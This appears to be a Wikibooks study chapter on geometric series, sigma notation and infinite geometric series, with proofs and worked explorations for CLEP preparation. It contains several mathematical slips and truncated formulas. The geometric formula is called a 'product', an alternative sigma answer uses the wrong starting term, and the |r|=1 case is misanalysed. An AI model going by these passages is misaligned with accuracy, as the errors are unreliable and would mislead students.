${\displaystyle x_{1}-x_{2}-\ldots -x_{499}-x_{500}-a_{1}-\ldots -a_{499}-a_{500}=500a}$ ${\displaystyle x_{1}+x_{2}+\ldots +x_{499}+x_{500}+a_{1}+\ldots +a_{499}+a_{500}=-1,000a}$ ${\displaystyle x_{500}<0}$
Note, this practice quiz is unfinished.
#### Proof of Arithmetic Series
Note: what you are about to learn is NOT required for the curriculum. If you do not understand this proof, do not worry, for it does not matter for the CLEP exam. These proofs are only to build a mathematical understanding of the concepts. As such, you may skip these if you want.
### Geometric Series
While it is amazing one can find the sum of an arithmetic sequence, what about the sum of a geometric sequence? Thankfully, mathematicians have found a way to calculate this idea. This theorem (not conjecture, as you will hopefully see with the geometric series proof) is one of many ways mathematicians have found solutions to problems coming from the abstract. As always, it is best to understand the way you can use a formula first before getting the formula introduced. To invoke deeper learning, we want to understand the concept, not reciprocate the formula outloud on a test and say, "I know the answer."
Example 2.2.1.a: What is the sum of the geometric series ${\displaystyle {1+2+4+8+\ldots +512}}$? Let's define a sum ${\displaystyle S}$ for the geometric sequence: ${\displaystyle {1+2+4+8+\ldots +512=S}}$ Notice that all the terms except ${\displaystyle x_{1}=1}$ has a factor ${\displaystyle 2}$. Therefore, move the first term to the other side by subtracting ${\displaystyle 1}$: ${\displaystyle {2+4+\ldots +512=S-1}}$. Then, factor the two on the left side: ${\displaystyle {2(1+2+4+\ldots +256)=S-1}}$ The key discovery of this exercise is noticing that ${\displaystyle {1+2+4+\ldots +256}}$ is ${\displaystyle S}$ but without ${\displaystyle 512}$, so given that ${\displaystyle {S=1+2+4+8+\ldots +512}}$, ${\displaystyle {1+2+4+\ldots +256}=S-512}$ Solve using elementary algebra: ${\displaystyle {2S-1024=S-1}}$ ${\displaystyle {2S-S=-1+1024}}$ ${\displaystyle {S=1023}}$
Notice how we solved the problem. We said that the sum must equal something positive, so we determined that if it does equal something, we could figure it out in some way without having to do any long calculations. Can we use this method for some general geometric sequence? This how we determine a formula. In your Exploration, you will be tasked with presenting a proof for the formula of the geometric series. We will still give you the formula, but you must prove it yourself in the next exploration. Of course, we will also present another way to prove the geometric series formula in the next section.
Exploration 2-1: Given: a geometric series with first term ${\displaystyle a}$, common ratio ${\displaystyle r}$, and ${\displaystyle k}$ terms.
Prove: The sum of a geometric series ${\displaystyle S={a\left(1-r^{k}\right) \over 1-r}}$.
Given ${\displaystyle k}$ terms, and geometric sequence ${\displaystyle \left\{a_{i}\right\}=ar^{i-1}}$ will have added terms up to ${\displaystyle k}$ in this form: ${\displaystyle S=a+ar+ar^{2}+\ldots +ar^{k-1}}$.
We know that ${\displaystyle S-a}$ will make it so that all terms to the right of the equal sign have factor ${\displaystyle r}$. Ergo,
${\displaystyle S-a=r\left(a+ar+ar^{2}+\ldots +ar^{k-2}\right).}$
Note that ${\displaystyle S-ar^{k-1}=a+ar+ar^{2}+\ldots +ar^{k-2}}$, so divide by ${\displaystyle r}$ and apply the identity to the expression to yield
${\displaystyle {S-a \over r}=S-ar^{k-1}.}$
Subtract ${\displaystyle S}$ and write the expression to the left as a fraction:
${\displaystyle {S-a \over r}-{S \over 1}={S-a-Sr \over r}=-ar^{k-1}.}$
Multiply by ${\displaystyle r}$ and add ${\displaystyle a}$:
${\displaystyle S-Sr=a-ar^{k}.}$
Factor ${\displaystyle S}$ on the left, factor ${\displaystyle a}$ on the right and divide by ${\displaystyle 1-r}$:
${\displaystyle S={a\left(1-r^{k}\right) \over 1-r}.}$
Formula of the Geometric Series.
For any finite geometric sequence ${\displaystyle {\left\{x_{i}\right\}}}$, where ${\displaystyle x_{i}=ar^{i-1}}$, that contains ${\displaystyle k}$ terms, the product of each term is
${\displaystyle S_{G}={a\left(r^{k}-1\right) \over r-1}}$
for this Wikibooks[see footnote 2].
#### Proof of Geometric Series
Note: what you are about to learn is NOT required for the curriculum. If you do not understand these concepts, do not worry, for it does not matter for the CLEP exam. These proofs are only to build a mathematical understanding of these concepts. As such, you may skip these if you want.
Given a geometric series with ${\displaystyle k}$ terms and a common ratio ${\displaystyle r}$, prove that the sum of the series, ${\displaystyle S}$, equals ${\displaystyle {a\left(r^{k}-1\right) \over r-1}}$.
By definition, a geometric series has the sequence ${\displaystyle x_{i}=x_{1}\cdot r^{i-1}}$, with ${\displaystyle x_{1}=a}$. As a result, the following is true: ${\displaystyle a+ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}}$.
Let ${\displaystyle a+ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}=S}$.
Add ${\displaystyle ar^{k}}$ to both sides:
${\displaystyle a+ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}+ar^{k}=S+ar^{k}.}$
Subtract ${\displaystyle a}$ to the other side:
${\displaystyle ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}+ar^{k}=S+ar^{k}-a.}$
Factor the common ratio ${\displaystyle r}$ to all terms in the left side of the equation:
${\displaystyle r\left(a+ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}\right)=S+ar^{k}-a.}$
Factor ${\displaystyle a}$ for the expression ${\displaystyle ar^{k}-a}$ to the right side of the equation:
${\displaystyle r\left(a+ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}\right)=S+a\left(r^{k}-1\right).}$
Notice that because ${\displaystyle a+ar+ar^{2}+\ldots +ar^{k-2}+ar^{k-1}=S}$, we can substitute that into the expression on the left side:
${\displaystyle rS=S+a\left(r^{k}-1\right).}$
Finally, solve for ${\displaystyle S}$:
${\displaystyle rS-S=a\left(r^{k}-1\right)}$
${\displaystyle S(r-1)=a\left(r^{k}-1\right)}$
${\displaystyle S={a\left(r^{k}-1\right) \over r-1}.}$
Therefore, the sum of a geometric series must be ${\displaystyle S={a\left(r^{k}-1\right) \over r-1}}$.
### Sigma Notation
How many of you are tired of writing out the expressions? How many of you are tired of figuring out how many expressions there are in a series? Where is this short-hand that we conveniently have for an arithmetic or geometric sequence. Thankfully, all of your answers are coming soon. Say you want to write out the expression ${\displaystyle \underbrace {1+1+1+1+\ldots +1+1} _{500}}$, in which there are ${\displaystyle 500}$ terms in the series, each of which are the number ${\displaystyle 1}$. We hopefully can evaluate the series without having to think too much about it. However, the purpose of this exercise is to introduce a new notation.
Let ${\displaystyle \sum }$ denote the sum of a series. The bottom of the symbol denotes the start of the series at index ${\displaystyle i=a}$ (blue) and the top of the symbol is the last index of the series, ${\displaystyle k}$ (red). The term inside the parentheses represents the sequence that the series follows, ${\displaystyle f(i)}$ (orange). The representation of it is shown below:
${\displaystyle \sum _{\color {Blue}i=a}^{\color {Red}k}\left({\color {Orange}f\left(i\right)}\right).}$
Here, we know that ${\displaystyle \left\{1,1,1,1,\ldots 1,1\right\}}$ must have the sequence ${\displaystyle x_{i}=1+0(i-1)=1=f\left(i\right)}$. Interpreting the meaning of ${\displaystyle f(i)}$ tells us that for any number in the sequence, the ${\displaystyle i}$th term of the expression is ${\displaystyle 1}$. Knowing that the sequence starts at index ${\displaystyle 1}$, meaning ${\displaystyle i=1}$, and there are ${\displaystyle 500}$ terms, meaning ${\displaystyle k=500}$, we may write the sigma notation as below:
${\displaystyle \sum _{\color {Blue}i=1}^{\color {Red}500}\left({\color {Orange}1}\right).}$
It is important to write the sigma representation having ${\displaystyle f(i)}$ in parenthesis. Often, if you don't have it, you can confuse other terms by accident. It is for this reason that this Wikibooks recommends writing the ${\displaystyle f(i)}$ term in parentheses. The next exploration will ask you write out a variety of expressions using sigma form:
Sigma representation of a general series
For any series that has formula ${\displaystyle f(i)}$, starting from arbitrary point ${\displaystyle i=a}$, and given ${\displaystyle k}$ terms, the sigma ${\displaystyle \left(\sum \right)}$ representation is written as follows:
${\displaystyle \sum _{i=a}^{k}\left(f\left(i\right)\right).}$
Exploration 2-2: Rewrite each expression below into its sigma form equivalent:
(a) ${\displaystyle 1+3+5+7+9+\ldots +541+543}$
(b) ${\displaystyle 1+{1 \over 2}+{1 \over 4}+{1 \over 8}}$
(c) ${\displaystyle 1+2+3+\ldots +99+100+102+104+\ldots +200}$
(d) ${\displaystyle 100-20+4-{4 \over 5}+{4 \over 25}-100-120-140}$
To answer each question, you need to know how many terms are in each series. The only way to determine that is by determining the type of sequence being applied.
(a) Remember how we needed to find out how many terms there are in a sequence and the constant difference to find the sum of an arithmetic sequence? It is the same here. The sigma representation, well, represents the adding of each term in the series. In which case, we need to know the constant difference and the number of terms in the series to determine any validity from it. Note how ${\displaystyle \left\{1,\,3,\,5,\,\ldots ,\,543\right\}}$ is an arithmetic sequence that has the common difference two. Therefore, given the first term is ${\displaystyle 1}$, the arithmetic sequence formula is ${\displaystyle x_{i}=1+2(i-1)=f(i)}$. From this, we can determine the final term's position: ${\displaystyle 543=1+2(i-1)}$. After solving for ${\displaystyle i}$, you find that there are ${\displaystyle i=273}$ terms in the sequence. As such, you may finally write out the final answer:
${\displaystyle \sum _{i=1}^{273}\left(1+2\left(i-1\right)\right).}$
Note, because you can start counting the terms at ${\displaystyle i=0}$, you may rewrite the expression as follows:
${\displaystyle \sum _{i=0}^{272}\left(1+2i\right).}$
(b) Use the same idea from item (a) to rewrite the expression into its sigma equivalent. Notice that the series shows a geometric series, with common ratio of ${\displaystyle {1 \over 2}}$ starting at ${\displaystyle 1}$. Therefore, ${\displaystyle f(i)=\left({1 \over 2}\right)^{i-1}}$. Since there is no need to use a formula to find out how many terms there are in the series, simply count and you have your answer:
${\displaystyle \sum _{i=1}^{4}\left({1 \over 2}\right)^{i-1}.}$
Again, you may rewrite the sigma form equivalent starting at ${\displaystyle i=0}$:
${\displaystyle \sum _{i=0}^{3}\left({1 \over 2}\right)^{i}.}$
(c) There are two series shown in the expression. Seperate each series within as the following: ${\displaystyle f_{1}\left(i\right)=1+2+3+\ldots +99}$ and ${\displaystyle f_{2}\left(i\right)=100+102+104+\ldots +200}$. Both ${\displaystyle f_{1}}$ and ${\displaystyle f_{2}}$ are arithmetic sequences but with different differences and starting numbers. Instead of explaining each one, only the formula will be provided for each sequence: ${\displaystyle f_{1}(i)=1+1(i-1)}$ and ${\displaystyle f_{2}(i)=100+2(i-1)}$. Note that the starting number and end numbers are not appropriate to use in the same sigma notation, so seperate them into two sigma representations and add them together. Thus, the sigma representation for this expression is
${\displaystyle \sum _{i=1}^{99}(1+1(i-1))+\sum _{i=1}^{51}(100+2(i-1)).}$
Do you see why we ask you to write the formula using parentheses? Also, you may have seperated the series differently. In which case, if ${\displaystyle f_{1}\left(i\right)=1+2+3+\ldots +99+100}$ and ${\displaystyle f_{2}\left(i\right)=102+104+\ldots +200}$, then ${\displaystyle f_{1}(i)=1+1(i-1)}$ and ${\displaystyle f_{2}(i)=102+2(i-1)}$, where ${\displaystyle f_{1}}$ has ${\displaystyle 100}$ terms and ${\displaystyle f_{1}}$ has ${\displaystyle 50}$ terms. Therefore, another representation is also appropriate:
${\displaystyle \sum _{i=1}^{100}(1+1(i-1))+\sum _{i=1}^{50}(100+2(i-1)).}$
(d) There are two series shown in the expression. Seperate each series within as the following: ${\displaystyle f_{1}\left(i\right)=100-20+4-{4 \over 5}+{4 \over 25}}$ and ${\displaystyle f_{2}\left(i\right)=-100-120-140}$. While ${\displaystyle f_{1}}$ is geometric, with common ratio ${\displaystyle -{1 \over 5}}$, ${\displaystyle f_{2}}$ is arithmetic, with constant difference ${\displaystyle -20}$. Instead of explaining each one, only the formula will be provided for each sequence: ${\displaystyle f_{1}(i)=100\left(-{1 \over 5}\right)^{i-1}}$ and ${\displaystyle f_{2}(i)=-100-20(i-1)}$. Because of the difference in formula and difference in starting numbers used, it is impossible to put them together in the same sum. Therefore, the sigma form of the series is
${\displaystyle \sum _{i=1}^{5}\left(100\left(-{1 \over 5}\right)^{i-1}\right)+\sum _{i=1}^{3}(-100-20(i-1)).}$
Notice how you added the other term instead of substracting. If you were to subtract the second sigma representation you would in effect flip the sign on every other term. As such, the second series representation would be wrong unless you were to change it to this:
${\displaystyle \sum _{i=1}^{5}\left(100\left(-{1 \over 5}\right)^{i-1}\right)-\sum _{i=1}^{3}(100+20(i-1)).}$
#### Sigma Simplification Techniques
In some textbooks, this section would be called rules. We call them what they really are: techniques to simplify common sigma representations.
For any series that has constant term ${\displaystyle c}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ terms,
${\displaystyle \sum _{i=1}^{k}\left(c\right)=ck.}$
As always, if you are confused, write out some terms. The above sigma representation states that for any constant term ${\displaystyle c}$ added ${\displaystyle k}$ times, the resulting sum is equivalent to ${\displaystyle \underbrace {c+c+c+\ldots +c+c+c} _{k}=ck}$. Never forget that multiplication is repeated addition. This axiom you heard in elementary school is still important to this day.
For any series that has constant term ${\displaystyle c}$ multiplied by changing index ${\displaystyle i}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(ci\right)=c\sum _{i=1}^{k}\left(i\right).}$
This second "rule" can be simplified as the following. Since ${\displaystyle \sum _{i=1}^{k}\left(ci\right)}$, we can conclude that ${\displaystyle \sum _{i=1}^{k}\left(ci\right)=1c+2c+3c+\ldots +c(k-2)+c(k-1)+ck}$. Each term in the expression ${\displaystyle 1c+2c+3c+\ldots +c(k-2)+c(k-1)+ck}$ has common factor ${\displaystyle c}$, so ${\displaystyle c(1+2+3+\ldots +(k-2)+(k-1)+k)}$. Notice that each term on the inside of the parenthesis is a basic series where ${\displaystyle i}$ starting at ${\displaystyle 1}$ goes to final term ${\displaystyle k}$ as a sum, so
${\displaystyle \sum _{i=1}^{k}\left(ci\right)=c\sum _{i=1}^{k}\left(i\right).}$
For any series that has constant term ${\displaystyle c}$ in addition to changing index ${\displaystyle i}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(c+i\right)=kc+\sum _{i=1}^{k}\left(i\right).}$
This one is harder to see why it is true. As always, however, try it out by hand. Remember that sigma notations are short hands of sums that have some sort of formula, so write out a term in case you are ever confused. Notice that ${\displaystyle \sum _{i=1}^{k}\left(c+i\right)=(c+1)+(c+2)+(c+3)+(c+4)+\ldots +(c+k-1)+(c+k)}$. Because adding is commutative, and because the parentheses do not change the sum of the series, you may group terms such that ${\displaystyle (c+1)+(c+2)+(c+3)+(c+4)+\ldots +(c+k-1)+(c+k)=\underbrace {c+c+c+c+\ldots +c+c} _{k}+(1+2+3+\ldots +k-1+k)}$ We have already determined the sigma notation for each grouping, so we may put it together to say the following is true:
${\displaystyle \sum _{i=1}^{k}\left(c+i\right)=kc+\sum _{i=1}^{k}\left(i\right).}$
For any series that has constant term ${\displaystyle c}$ in addition to the range of the function of ${\displaystyle i}$ or ${\displaystyle f\left(i\right)}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(c+f\left(i\right)\right)=kc+\sum _{i=1}^{k}\left(f\left(i\right)\right).}$
Realize that the above "rule" is simply an extension of the previous one. If ${\displaystyle f(i)=i}$, then ${\displaystyle \sum _{i=1}^{k}\left(c+f\left(i\right)\right)=kc+\sum _{i=1}^{k}\left(f\left(i\right)\right)}$. Realize that any function can comply with this rule. By extension:
${\displaystyle \sum _{i=1}^{k}\left(cf\left(i\right)\right)=c\sum _{i=1}^{k}\left(f\left(i\right)\right)}$
Using this general knowledge, one can also argue the next following "rule":
For any series that has constant term ${\displaystyle a}$ multiplied by the function of ${\displaystyle i}$ or ${\displaystyle f\left(i\right)}$, starting from index ${\displaystyle i=1}$, when adding constant ${\displaystyle c}$ to the product, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(c+af\left(i\right)\right)=kc+a\sum _{i=1}^{k}\left(f\left(i\right)\right).}$
Given the way we found the same identities, you may do the proof for this one by yourself as an exercise in sigma notation. The best way to understand this new notation is to practice it. (Of course, this Wikibooks will provide plenty of practice.)
Along with that practice, you may also try to show that the identity for the next "rule" is also true:
For any series in which the formula is two different arbitrary functions: ${\displaystyle f\left(i\right)}$ and ${\displaystyle g\left(i\right)}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(f\left(i\right)+g\left(i\right)\right)=\sum _{i=1}^{k}\left(f\left(i\right)\right)+\sum _{i=1}^{k}\left(g\left(i\right)\right).}$
With this, you now have a sufficient foundation for the necessary tools needed to prove and disprove statements as well as create your own identity. Before we move on the next section, we must mention the sigma identity for each of the series type we learned in this wikibooks.
#### Sigma Identities for Series Types
What is the sigma identity of an arithmetic series? Before we give you the identity, it is important to understand arithmetic series. If the person reading this wikibooks has jumped from one section to the other, we may recommend you read anything from the previous if the current reasoning seems to not make sense. First, how do we write an arithmetic sequence using a formula? Like this:
${\displaystyle x_{k}=a+(k-1)d.}$
The formula for how to find an arithmetic series is this:
${\displaystyle S_{a}={a+x_{k} \over 2}k.}$
Notice how ${\displaystyle x_{k}}$ is in both formulas, so substitute ${\displaystyle x_{k}}$ for ${\displaystyle a+(k-1)d}$ and you get:
${\displaystyle S_{a}={2a+(k-1)d \over 2}k=ak+{(k-1)d \over 2}k=\left[2a+(k-1)d\right]{k \over 2}.}$
Because ${\displaystyle x_{k}=a+(k-1)d.}$ is also a formula that helps us find each term in the series, we have finally created our sigma identity:
Formula for an Arithmetic Series in Sigma Form
An arithmetic series in which the formula is ${\displaystyle f(i)=a+(i-1)d}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(a+(i-1)d\right)={2a+(k-1)d \over 2}\cdot k.}$
We can use the same process to find the sum of a geometric series. You may consider this your next exercise proving that the sigma form of the geometric series is the same one shown below.
Formula for a Geometric Series in Sigma Form
A geometric series in which the formula is ${\displaystyle f(i)=ar^{i-1}}$, starting from index ${\displaystyle i=1}$, and given ${\displaystyle k}$ total terms,
${\displaystyle \sum _{i=1}^{k}\left(ar^{i-1}\right)={a\left(r^{k}-1\right) \over r-1}.}$
### Infinite Geometric Series
There is this old and famous paradox that perplexed many who listened to it. The problem stems from the Greek thinker Zeno of Elea. This old adage was the first example of reductio ad absurdum (disproving a statement by showing that the application of the statement will lead to a contradiction, and so the original statement cannot be true). However, today, a version is no longer a paradox, and it took the invention of calculus to prove this enigma is not an enigma[see footnote 3].
The version of the problem that demonstrates the enigma is proven and shown below.
Note: the paradox will be shown soon.
The age old questions of most students in mathematics arise: "when are we going to need this?" The next exploration gives one problem in which everything you have learned will be tested. This is definitely harder than many CLEP exam questions; however, problems are what make you better at math. You learn as you do, and so you must.
Note: as of now, the exploration's explanations are incomplete.
Exploration 2-3: Given each expression converges to a finite value, evaluate each expression in items (a) - (c). Use the infinite geometric series summation identity to solve these questions.
(a) ${\displaystyle 10{\sqrt {10{\sqrt {10{\sqrt {10{\sqrt {10{\sqrt {10{\sqrt {\ldots }}}}}}}}}}}}}$
(b) ${\displaystyle 10{\sqrt[{n}]{10{\sqrt[{n}]{10{\sqrt[{n}]{10{\sqrt[{n}]{10{\sqrt[{n}]{10{\sqrt[{n}]{\ldots }}}}}}}}}}}}}$
(i) Given general form ${\displaystyle a{\sqrt[{n}]{a{\sqrt[{n}]{a{\sqrt[{n}]{a{\sqrt[{n}]{a{\sqrt[{n}]{a{\sqrt[{n}]{\ldots }}}}}}}}}}}}}$ of expression (b), find at least two integers, ${\displaystyle a}$ and ${\displaystyle n}$, that will make the general expression equal to a perfect cube number. If it is impossible, prove that it is not possible.
(c) ${\displaystyle 3{\sqrt {5{\sqrt {3{\sqrt {5{\sqrt {3{\sqrt {5{\sqrt {3{\sqrt {\ldots }}}}}}}}}}}}}}}$
(i) Given general form ${\displaystyle a{\sqrt {b{\sqrt {a{\sqrt {b{\sqrt {a{\sqrt {b{\sqrt {a{\sqrt {\ldots }}}}}}}}}}}}}}}$ of expression (c), find two integers, ${\displaystyle a}$ and ${\displaystyle b}$, that will make the general expression equal to a perfect square. If it is impossible, prove that it is not possible.
Notice that the problems are arranged such that the items start off with a concrete example and then get generalized in some way after the problem is first introduced. If the individual clicked this for a hint of how to solve the problem, look at the first item solution. After you have understood how this Wikibook reached the conclusion, close this and try the other problems this time.
(a) Since each term must converge to some finite value, and since each term in the sequence is multiplied by the ${\displaystyle {\sqrt {10}}}$. It is best to think of this problem as if were one term in the sequence. Discover the pattern and you may evaluate each series. Let ${\displaystyle x_{1}=10}$. Note that ${\displaystyle x_{2}=10{\sqrt {10}}=10\cdot 10^{1 \over 2}=10^{1+{1 \over 2}}}$. If we keep the pattern going for each term, we find that ${\displaystyle x_{n}=10{\sqrt {x_{n-1}}}=10^{1+{1 \over 2}+{1 \over 4}+\ldots +{1 \over 2^{n}}}}$. This is simply a recursive geometric sequence, so in effect, as we keep adding terms to infinity in the exponent, ${\displaystyle 10^{1+{1 \over 2}+{1 \over 4}+\ldots +{1 \over 2^{n}}+\ldots }}$. Note that ${\displaystyle 1+{1 \over 2}+{1 \over 4}+\ldots }$ is an infinite geometric series, so we may use the summation formula: ${\displaystyle \sum _{i=1}^{\infty }\left(ar^{i-1}\right)={a \over 1-r}}$. Therefore, because ${\displaystyle {1 \over 1-{1 \over 2}}=2}$, ${\displaystyle 10^{2}=100}$. As such,
${\displaystyle 10{\sqrt {10{\sqrt {10{\sqrt {10{\sqrt {10{\sqrt {10{\sqrt {\ldots }}}}}}}}}}}}=100}$
Note: there is another way to "solve" these type of expressions; however, the method does not "prove" the general convergence towards a number and simply denotes a probable solution(s) to the problem. Using the method above will demonstrate clear convergence rather than the other method.
(b) The same idea for (a) is used. The only difference will be that the sequence denotes a general pattern for a given term inside a square root. Note that first term ${\displaystyle a=10}$ and second term ${\displaystyle a_{2}=10{\sqrt[{n}]{10}}}$. Given ${\displaystyle {\sqrt[{k}]{a^{m}}}=a^{m \over k}}$,
#### Proof of Infinite Geometric Series
${\displaystyle \sum _{i=1}^{\infty }\left(ar^{i-1}\right)={a \over 1-r}{\text{ if }}0<\left|r\right\vert <1}$. How do we prove this is true? Again, this is way above most curriculum required textbooks. However, the goal of many mathematics textbooks is to get the user inspired in math and to use those concepts into other fields of interest. No matter what given field a person is going into, they are going to need to solve problems: a history major needs to understand what a person meant; an English major needs to find the right words that help them convey their ideas; a Science major will have to apply mathematical concepts to communicate ideas about science. As such, learn to love problems, for conquering a problem will make you stronger.
Note: what you are about to learn is NOT required for the curriculum. If you do not understand these concepts, do not worry, for it does not matter for the CLEP exam. These proofs are only to build a mathematical understanding of these concepts. As such, you may skip these if you want.
Prerequisite for the proof: Imagine we want to find values of some function ${\displaystyle f(x)}$. Define this function as ${\displaystyle f(x)={x^{2}-4 \over x-2}}$. If ${\displaystyle x=2}$, then ${\displaystyle f(2)={(2)^{2}-4 \over (2)-2}={0 \over 0}}$. Well, it seems this value is undefined when ${\displaystyle x=2}$, so it seems it does not equal anything. However, let's try graphing this rational function.
First, let us divide: ${\displaystyle {x^{2}-4 \over x-2}={(x-2)(x+2) \over x-2}=x+2}$. It seems once we simplify the rational expression, we are left with ${\displaystyle x+2}$. However, This is not exactly true because our function is still undefined at ${\displaystyle x=2}$, so we must add a constraint: ${\displaystyle f(x)=x+2{\text{ if }}x\neq 2}$. To put it more formally:
${\displaystyle f(x)={\begin{cases}x+2,&{\text{if}}&-\infty
If we graph the relation, we find that there is a "hole" at that point in the function. Let's use values close to 2 so that we abide by those rules.
${\displaystyle {\begin{array}{|c|c|}x&f(x)\\\hline 1.9&(1.9)+2=3.9\\\hline 1.99&(1.99)+2=3.99\\\hline 1.999&(1.999)+2=3.999\\\hline 2&{\text{undefined}}\\\hline 2.001&(2.001)+2=4.001\\\hline 2.01&(2.01)+2=4.01\\\hline 2.1&(2.1)+2=4.1\end{array}}\!}$
It becomes clear that as values get "closer and closer" to ${\displaystyle 2}$, ${\displaystyle f(2)}$ "approaches" ${\displaystyle 4}$. What is "close"? How close are your eyes to the screen? We would most likely say, "it is 45 cm. away from the screen." In which case, let's use the distance (i.e. absolute value) to define the word "close": ${\displaystyle |2.001-2|=0.001}$ and ${\displaystyle |1.999-2|=0.001}$. (Answer this question: why did we use absolute values?)
Let's define this process using two variables ${\displaystyle x_{1}}$ and ${\displaystyle x}$: If ${\displaystyle 0<\left|x_{1}-x\right\vert , then those two values are "close" or "approaches ${\displaystyle L}$ of function ${\displaystyle f(x)}$," where ${\displaystyle n}$ can be any value you want it to be, as long as it tolerates our definition. We can conclude the following: ${\displaystyle \left|f(x)-L\right\vert }$ is "close" when ${\displaystyle \left|x_{1}-x\right\vert }$ is close, given that ${\displaystyle 0<\left|f(x)-L\right\vert . If we think about it, we have sufficiently proven what "close" means. Let us put this definition[see footnote 4] up front:
For any ${\displaystyle 0<\left|f(x)-L\right\vert , there exists a ${\displaystyle 0<\left|x_{1}-x\right\vert .
Now, as mentioned, mathematicians like to "work smarter, not harder," so a mathematician does not want to write out "as ${\displaystyle x}$ approaches ${\displaystyle 2}$, ${\displaystyle f(x)}$ approaches ${\displaystyle 4}$." Instead, we write out using our fancy notation: ${\displaystyle \lim _{x\to 2}f(x)=4}$. This ${\displaystyle \lim }$ is called "limit." All this notation says is that "as we limit our values of ${\displaystyle x}$ approaching (${\displaystyle \to }$) ${\displaystyle 2}$, we find that ${\displaystyle f(x)}$ approaches ${\displaystyle 4}$." Now, you have a sufficient foundation for limits and are ready to begin the proof.
Given that ${\displaystyle \sum _{i=1}^{k}\left(ar^{i-1}\right)={a\left(r^{k}-1\right) \over r-1}}$ finds the sum of a finite geometric series, prove ${\displaystyle \sum _{i=1}^{\infty }\left(ar^{i-1}\right)={a \over 1-r}{\text{ if }}0\leq \left|r\right\vert <1}$ is the sum of an infinite geometric series.
Read the prerequisite to understand this proof.
If we want to know what happens as ${\displaystyle k}$ approaches infinity (${\displaystyle \infty }$), we can write it like this:
${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)={a\left(r^{k}-1\right) \over r-1}}$
Note: ${\displaystyle {a\left(r^{k}-1\right) \over r-1}={ar^{k}-a \over r-1}}$.
What happens when ${\displaystyle |r|>1}$? For ${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)={ar^{k}-a \over r-1}}$, the numerator will have values ${\displaystyle ar^{k}}$ get closer and closer to infinity as ${\displaystyle r}$ and ${\displaystyle k}$ get larger, and therefore, do not converge to a finite value.
What happens when ${\displaystyle |r|=1}$? For ${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)={ar^{k}-a \over r-1}}$, the denominator will have values ${\displaystyle (1)-1=0}$, which will ${\displaystyle {a-a \over 0}={0 \over 0}}$. It is indeterminate, and there are no tricks to find a value that it will converge to. As such, when ${\displaystyle |r|=1}$, the limit is indeterminate.
What happens when ${\displaystyle 0\leq |r|<1}$? For ${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)={ar^{k}-a \over r-1}}$, the numerator will have values ${\displaystyle ar^{k}}$ approach ${\displaystyle 0}$ as ${\displaystyle r}$ and ${\displaystyle k}$ get larger. Plus, the denominator will never be ${\displaystyle 0}$, so everything works out. If ${\displaystyle \lim _{k\to \infty }ar^{k}=0}$, given that ${\displaystyle 0\leq |r|<1}$, then ${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)={-a \over r-1}}$.
Note: ${\displaystyle {-a \over r-1}={-a \over -(-r+1)}={a \over -r+1}={a \over 1-r}}$. Ergo:
${\displaystyle \lim _{k\to \infty }\sum _{i=1}^{k}\left(ar^{i-1}\right)={a \over 1-r}{\text{ if }}0\leq \left|r\right\vert <1.}$
Note that by proving the following fact for the limit, we also "prove" the summation representation[see footnote 5].
## Footnotes
1. The WikiBooks simply refers the formula used as the "Gaussian method" because of a famous mathematical tale. There was this intelligent mathematician named Carl Friedrich Gauss who, in second grade, was asked to find the sum of ${\displaystyle 1+2+3+4+\ldots +99+100}$. The teacher that assigned this problem simply wanted some peace and quiet. However, Gauss was able to come up the answer using the same method in Example 1.3.1.a. Legend says that he did not write the method and did all the calculations in his head; he handed the piece of paper with just the answer. Nevertheless, the teacher had to check to see if he was right. It turns out, he was indeed right. If the reader needs to refer to this formula to other mathematicians, simply call it the "sum of an arithmetic series formula," although it does not have the same ring to it as the previous name.
2. It is very common for many textbooks to use the following formula for a geometric series: ${\displaystyle S_{g}={a\left(1-r^{k}\right) \over 1-r}}$. Both are technically correct; however, this Wikibooks has decided to use ${\displaystyle S_{g}={a\left(r^{k}-1\right) \over r-1}}$ because it is easier to remember that you subtract the first term from the final term at index ${\displaystyle k}$.
3. Although described technically correct, calculus was merely one piece of the puzzle that helped in solving the issue. The version that is described is shown in the example, but the original problem did involve calculus concepts that will not be talked about in this Wikibooks since it does not help us understand infinite geometric series.
4. Note the formal definition is technically complete; however, the variables refered to the distances are a little different. Instead of ${\displaystyle 0<\left|x_{1}-x\right\vert , write it as ${\displaystyle 0<\left|x_{1}-x\right\vert <\delta }$ (read ${\displaystyle \delta }$ aloud as "delta"). Instead of ${\displaystyle 0<\left|f(x)-L\right\vert , write it as ${\displaystyle 0<\left|f(x)-L\right\vert <\epsilon }$ (read ${\displaystyle \epsilon }$ aloud as "epsilon"). Consequently, the definition given for "close" changes: "For any ${\displaystyle 0<\left|f(x)-L\right\vert <\epsilon }$, there exists a ${\displaystyle 0<\left|x_{1}-x\right\vert <\delta }$." Also note that the definition may be written a little different as "for any ${\displaystyle \epsilon >0}$, there is a ${\displaystyle \delta >0}$ such that ${\displaystyle \left|f(x)-L\right\vert <\epsilon }$ and ${\displaystyle \left|x_{1}-x\right\vert <\delta }$." For the interest of not confusing the reader, we decided to make the definition more simple to understand.
